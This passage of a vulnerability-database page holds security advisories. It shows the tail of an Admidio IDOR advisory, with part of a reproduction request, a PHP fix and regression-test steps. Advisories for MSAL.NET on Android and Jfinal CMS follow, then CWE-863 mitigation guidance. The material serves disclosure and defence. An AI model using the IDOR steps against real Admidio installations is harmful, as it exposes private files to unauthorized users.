\"http://127.0.0.1:8085/modules/documents-files.php?mode=download\u0026file_uuid=559ed352-\u2026\"\nprivate_to_delete_data\n```\n\nThe DB record for the file now points at the attacker\u0027s folder (`fil_fol_id` updated), and the file has been physically moved on disk by `FileSystemUtils::moveFile`.\n\n## Impact\n\nAny user with `folder_upload` right on a single Documents folder gains:\n\n* **Read access** to every file in private folders \u2014 admin-only documents, board-only files, leader-only resources, role-restricted attachments \u2014 by moving them into a folder the attacker owns and then downloading.\n* **Write/destruction primitive** \u2014 the file is no longer in its original folder. Users who depended on the file at its legitimate location can no longer find it. The moved file\u0027s permissions are now those of the destination, so previously-restricted content can be exposed to other low-privilege users (whoever else has view rights on the destination folder).\n\nIn multi-tenant Admidio installations where one shared deployment hosts multiple groups (e.g., a federation of associations), the bug crosses organisation-internal Documents trust boundaries: a member of group A holding `folder_upload` on group A\u0027s public folder can lift any private file from group B.\n\n`PR:L` reflects that the actor must hold a single Documents upload right (a routinely-granted role attribute, not an administrator privilege). `S:U` because the impact stays inside the Documents module\u0027s own access-control model, but the access boundary it bypasses is the one that operators most rely on. `C:H` because confidentiality of any file in any private folder is broken; `I:H` because file location is mutated.\n\n## Recommended Fix\n\n`File::moveToFolder()` must check that the actor has upload right (or at least edit / move right) on the file\u0027s *source* folder, not just on the destination. The minimal patch:\n\n```php\n// src/Documents/Entity/File.php\npublic function moveToFolder(string $destFolderUUID)\n{\n    // re-read the source folder this file currently lives in, and check rights on it\n    $sourceFolder = new Folder($this-\u003edb);\n    $sourceFolder-\u003ereadData($this-\u003egetValue(\u0027fil_fol_id\u0027));\n    if (!$sourceFolder-\u003ehasUploadRight()) {\n        throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n    }\n\n    $destFolder = new Folder($this-\u003edb);\n    $destFolder-\u003ereadDataByUuid($destFolderUUID);\n\n    if (!$destFolder-\u003ehasUploadRight()) {\n        throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n    }\n\n    FileSystemUtils::moveFile($this-\u003egetFullFilePath(),\n                              $destFolder-\u003egetFullFolderPath() . \u0027/\u0027 . $this-\u003egetValue(\u0027fil_name\u0027));\n    $this-\u003esetValue(\u0027fil_fol_id\u0027, $destFolder-\u003egetValue(\u0027fol_id\u0027));\n    $this-\u003esave();\n}\n```\n\nEquivalently, `documents-files.php` `case \u0027move_save\u0027` should resolve the file\u0027s actual parent folder before the operation and call `getFileForDownload()` plus `hasUploadRight()` on that parent. The same fix is needed for `Folder::moveToFolder()` (the move-folder path is identical in shape).\n\nA regression test should:\n1. Create user `lowuser` with upload right only on folder A.\n2. Place a private file in folder B with no rights for `lowuser`.\n3. As `lowuser`, render `mode=move` with `folder_uuid=A\u0026file_uuid=\u003cB\u0027s file\u003e`, then `POST mode=move_save` with the same.\n4. Assert the response is `SYS_NO_RIGHTS` and the file\u0027s `fil_fol_id` is unchanged.\n\n## Related\n\n`mode=file_rename_save` shares the same root cause and is filed separately (`06-documents-cross-folder-rename-idor.md`); both bugs flow from the top-level rights check binding to URL `folder_uuid` rather than the file\u0027s actual parent.",
  "id": "GHSA-x628-457g-2pw9",
  "modified": "2026-05-29T22:06:49Z",
  "published": "2026-05-29T22:06:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-x628-457g-2pw9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio has IDOR in `documents-files.php` `mode=move_save` that lets any folder-uploader exfiltrate files from private folders"
}

GHSA-X674-V45J-FWXW

Vulnerability from github – Published: 2024-04-16 21:41 – Updated: 2024-04-23 20:42
VLAI
Summary
MSAL.NET applications targeting Xamarin Android and .NET Android (MAUI) susceptible to local denial of service
Details

[!IMPORTANT] ONLY applications targeting Xamarin Android and .NET Android (MAUI) are impacted. All others can safely dismiss this CVE.

Impact

MSAL.NET applications targeting Xamarin Android and .NET Android (e.g., MAUI) using the library from versions 4.48.0 to 4.60.3 (inclusive, except 4.59.1 and 4.60.3) are impacted by a low severity vulnerability.

A malicious application running on a customer Android device can (1) inject HTML/JavaScript in an embedded web view exported by affected applications, or (2) cause local denial of service against applications that were built using MSAL.NET for authentication on the same device (i.e., prevent the user of the legitimate application from logging in) due to incorrect activity export configuration.

Patches

MSAL.NET version 4.60.3 includes the fix. We recommend all users of MSAL.NET that are building public client applications for Android update to the latest version.

Workarounds

We recommend developers update to the latest version of MSAL.NET. If that is not possible, a developer may explicitly mark the MSAL.NET activity non-exported:

<activity android:name="microsoft.identity.client.AuthenticationAgentActivity" android:configChanges="orientation|screenSize" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="msalYOUR_CLIENT_ID" android:host="auth" />
</intent-filter>
</activity>

References

Refer to MSAL.NET documentation for latest guidance and best practices on configuring client applications using the library.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.Identity.Client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.48.0"
            },
            {
              "fixed": "4.59.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.Identity.Client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.60.0"
            },
            {
              "fixed": "4.60.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-27086"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863",
      "CWE-926"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-16T21:41:57Z",
    "nvd_published_at": "2024-04-16T22:15:34Z",
    "severity": "LOW"
  },
  "details": "\u003e[!IMPORTANT]\n\u003e**ONLY** applications targeting Xamarin Android and .NET Android (MAUI) are impacted. All others can safely dismiss this CVE.\n\n### Impact\n\n[MSAL.NET](https://www.nuget.org/packages/Microsoft.Identity.Client/) applications targeting Xamarin Android and .NET Android (e.g., MAUI) using the library from versions `4.48.0` to `4.60.3` (inclusive, except `4.59.1` and `4.60.3`) are impacted by a low severity vulnerability.   \n\nA malicious application running on a customer Android device can (1) inject HTML/JavaScript in an embedded web view exported by affected applications, or (2) cause local denial of service against applications that were built using MSAL.NET for authentication on the same device (i.e., prevent the user of the legitimate application from logging in) due to incorrect activity export configuration.\n\n### Patches\n\nMSAL.NET version 4.60.3 includes the fix. We recommend all users of MSAL.NET that are building public client applications for Android update to the latest version.\n\n### Workarounds\n\nWe recommend developers update to the latest version of MSAL.NET. If that is not possible, a developer may explicitly mark the MSAL.NET activity non-exported:\n\n```xml\n\u003cactivity android:name=\"microsoft.identity.client.AuthenticationAgentActivity\" android:configChanges=\"orientation|screenSize\" android:exported=\"false\"\u003e\n\u003cintent-filter\u003e\n\u003caction android:name=\"android.intent.action.VIEW\" /\u003e\n\u003ccategory android:name=\"android.intent.category.DEFAULT\" /\u003e\n\u003ccategory android:name=\"android.intent.category.BROWSABLE\" /\u003e\n\u003cdata android:scheme=\"msalYOUR_CLIENT_ID\" android:host=\"auth\" /\u003e\n\u003c/intent-filter\u003e\n\u003c/activity\u003e\n```\n\n### References\n\nRefer to [MSAL.NET documentation](https://learn.microsoft.com/entra/msal/dotnet/) for latest guidance and best practices on configuring client applications using the library.\n",
  "id": "GHSA-x674-v45j-fwxw",
  "modified": "2024-04-23T20:42:11Z",
  "published": "2024-04-16T21:41:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AzureAD/microsoft-authentication-library-for-dotnet/security/advisories/GHSA-x674-v45j-fwxw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27086"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AzureAD/microsoft-authentication-library-for-dotnet/commit/413e319472ccf48c86647f19fa2aa49ff6038488"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AzureAD/microsoft-authentication-library-for-dotnet"
    },
    {
      "type": "WEB",
      "url": "https://learn.microsoft.com/en-us/entra/msal/dotnet"
    },
    {
      "type": "WEB",
      "url": "https://www.nuget.org/packages/Microsoft.Identity.Client"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MSAL.NET applications targeting Xamarin Android and .NET Android (MAUI) susceptible to local denial of service"
}

GHSA-X6JW-674Q-3WX8

Vulnerability from github – Published: 2022-05-24 19:14 – Updated: 2022-07-13 00:00
VLAI
Details

Improper Access Control in Jfinal CMS v4.7.1 and earlier allows remote attackers to obtain sensitive information or cause a denial of service via the 'FileManager.delete()' function in the component 'modules/filemanager/FileManagerController.java'.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-19150"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-15T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "Improper Access Control in Jfinal CMS v4.7.1 and earlier allows remote attackers to obtain sensitive information or cause a denial of service via the \u0027FileManager.delete()\u0027 function in the component \u0027modules/filemanager/FileManagerController.java\u0027.",
  "id": "GHSA-x6jw-674q-3wx8",
  "modified": "2022-07-13T00:00:44Z",
  "published": "2022-05-24T19:14:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-19150"
    },
    {
      "type": "WEB",
      "url": "https://www.seebug.org/vuldb/ssvid-97885"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.